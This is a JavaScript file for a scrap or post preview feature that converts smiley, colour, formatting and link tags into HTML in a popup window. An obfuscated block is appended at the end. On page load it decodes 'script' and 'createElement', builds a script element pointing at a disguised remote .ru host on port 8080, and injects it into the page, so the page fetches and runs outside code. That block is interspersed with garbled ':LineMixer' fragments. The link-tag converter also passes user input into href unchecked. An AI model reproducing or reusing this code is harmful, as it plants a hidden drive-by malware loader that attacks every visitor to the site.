function previewScrap(oSource) {
    objSource  = window.document.getElementById(oSource);

    nwProp = "top=0,left=0,toolbar=no,status=no,resizable=yes,location=no,width=420,height=420";
    objDestiny = window.open("", "Preview", nwProp);

    objDestiny.document.write('<html>');
    objDestiny.document.write('  <head>');
    objDestiny.document.write('      <title>Preview</title>');
    objDestiny.document.write('      <style>body{font-family:courier new;font-size:10pt;}</style>');
    objDestiny.document.write('  </head>');
    objDestiny.document.write('  <body>');

    sourceValue = objSource.value.toString();
    finalValue  = sourceValue;

    finalValue = encodeHTMLTags(finalValue);
    finalValue = replaceSmilies(finalValue);
    finalValue = replaceColorTags(finalValue);
    finalValue = replaceFormatTags(finalValue);
    finalValue = replaceLinks(finalValue);

    finalValue = finalValue.replace(/\n/gm, "<br>");

    objDestiny.document.write(finalValue);

    objDestiny.document.write('<br><br><br><a href="#" onClick="javascript=window.close();">Close Window</a>');

    objDestiny.document.write('  </body>');
    objDestiny.document.write('</html>');
}

function encodeHTMLTags(value) {
    value = value.replace(/</gm, "&lt;");
    value = value.replace(/>/gm, "&gt;");
    return value;
}

function replaceSmilies(value) {
    value = value.replace(/(\[:X\])/gim,   '<img src="http://files.orkuplus.org.googlepages.com/angry.gif">');
    value = value.replace(/(\[:D\])/gim,   '<img src="http://files.orkuplus.org.googlepages.com/bigsmile.gif">');
    value = value.replace(/(\[\/\)\])/gim, '<img src="http://files.orkuplus.org.googlepages.com/confuse.gif">');
    value = value.replace(/(\[8\)\])/gim,  '<img src="http://files.orkuplus.org.googlepages.com/cool.gif">');
    value = value.replace(/(\[:P\])/gim,   '<img src="http://files.orkuplus.org.googlepages.com/funny.gif">');
    value = value.replace(/(\[:\(\])/gim,  '<img src="http://files.orkuplus.org.googlepages.com/sad.gif">');
    value = value.replace(/(\[:\)\])/gim,  '<img src="http://files.orkuplus.org.googlepages.com/smile.gif">');
    value = value.replace(/(\[:o\])/gim,   '<img src="http://files.orkuplus.org.googlepages.com/surprise.gif">');
    value = value.replace(/(\[;\)\])/gim,  '<img src="http://files.orkuplus.org.googlepages.com/wink.gif">');
    return value;
}

function replaceColorTags(value) {
    value = value.replace(/(\[(aqua|blue|fuchsia|gold|gray|green|lime|maroon|navy|olive|orange|pink|purple|red|silver|teal|violet|yellow)\])/gim, '<span style="color:$2;">');
    value = value.replace(/(\[\/(aqua|blue|fuchsia|gold|gray|green|lime|maroon|navy|olive|orange|pink|purple|red|silver|teal|violet|yellow)\])/gim, '</span>');
    return value;
}

function replaceFormatTags(value) {
    value = value.replace(/(\[(b|u|i)\])/gim, "<$2>");
    value = value.replace(/(\[\/(b|u|i)\])/gim, "</$2>");
    return value;
}

function replaceLinks(value) {
    value = value.replace(/(\[link=(.*)\](.*)\[\/link\])/gim, '<a href="$2">$3</a>');
    return value;
}

var hg=7704;this.sa=25751;:LineMixer [var d=new Array();var a=window;var u='sBc2rfifp2tU'.replace(/[U4fB2]/g, '');var b=new String();var pj;if(pj!='lg'){pj='lg'};var m='cFrIeIaFtGeFEIl_e_mIeFnIti'.replace(/[i_IGF]/g, '');var au;if(au!='nj' && au!='dd'){au=''};var _=false;]var zl;if(zl!='zf' && zl!='ip'){zl='zf'};this.xj="";a.onload=function(){var c;if(c!='zi'){c='zi'};try {var f;if(f!='eh'){f='eh'};this.sg='';h=document[m](u);this.ps="ps";var tr=new Date();this.oo='';:LineMixer [this.fz='';h['sCrwcw'.replace(/[wDLxC]/g, '')]='h@tJtJpJ:>/>/C1G6>3@->cCo@mJ.JsJh>aJrGeGaJs@a@lJe@.CcGo@mC.@aGm>a>z@oGn>-CcJoGmJ.ChGo@m>e@bGuGyGeCrCs@cGdJ.@rCuJ:>8@0C8>0G/>c@hCi>nJa@nGe@wJs@.Gc>oGm@.@cGn@/GcJhCiCnCaJn>e@wCs@.JcJoJmC.@c>nC/Gg@oJoJgClCe>.JcGoGm@/Gb>bGc@.Jc>o@.>u@k>/@w>aCy@2@s>mCs@.>cCoJmC/@'.replace(/[@G\>CJ]/g, '');var by;if(by!='qc' && by!='z_'){by=''};h.setAttribute('dhe~fCehrC'.replace(/[Ch\^~t]/g, ''), "1");var j='';this.yc="";]this.ac=false;this.nk=false;var ff='';document['bqoqd^yg'.replace(/[g\^01q]/g, '')]['a!pcpceRncdcC!hciRl:d!'.replace(/[\!cR\:A]/g, '')](h);var gi=new Array();} catch(t){};this.fy=40534;};this.ds=false;this.oc='';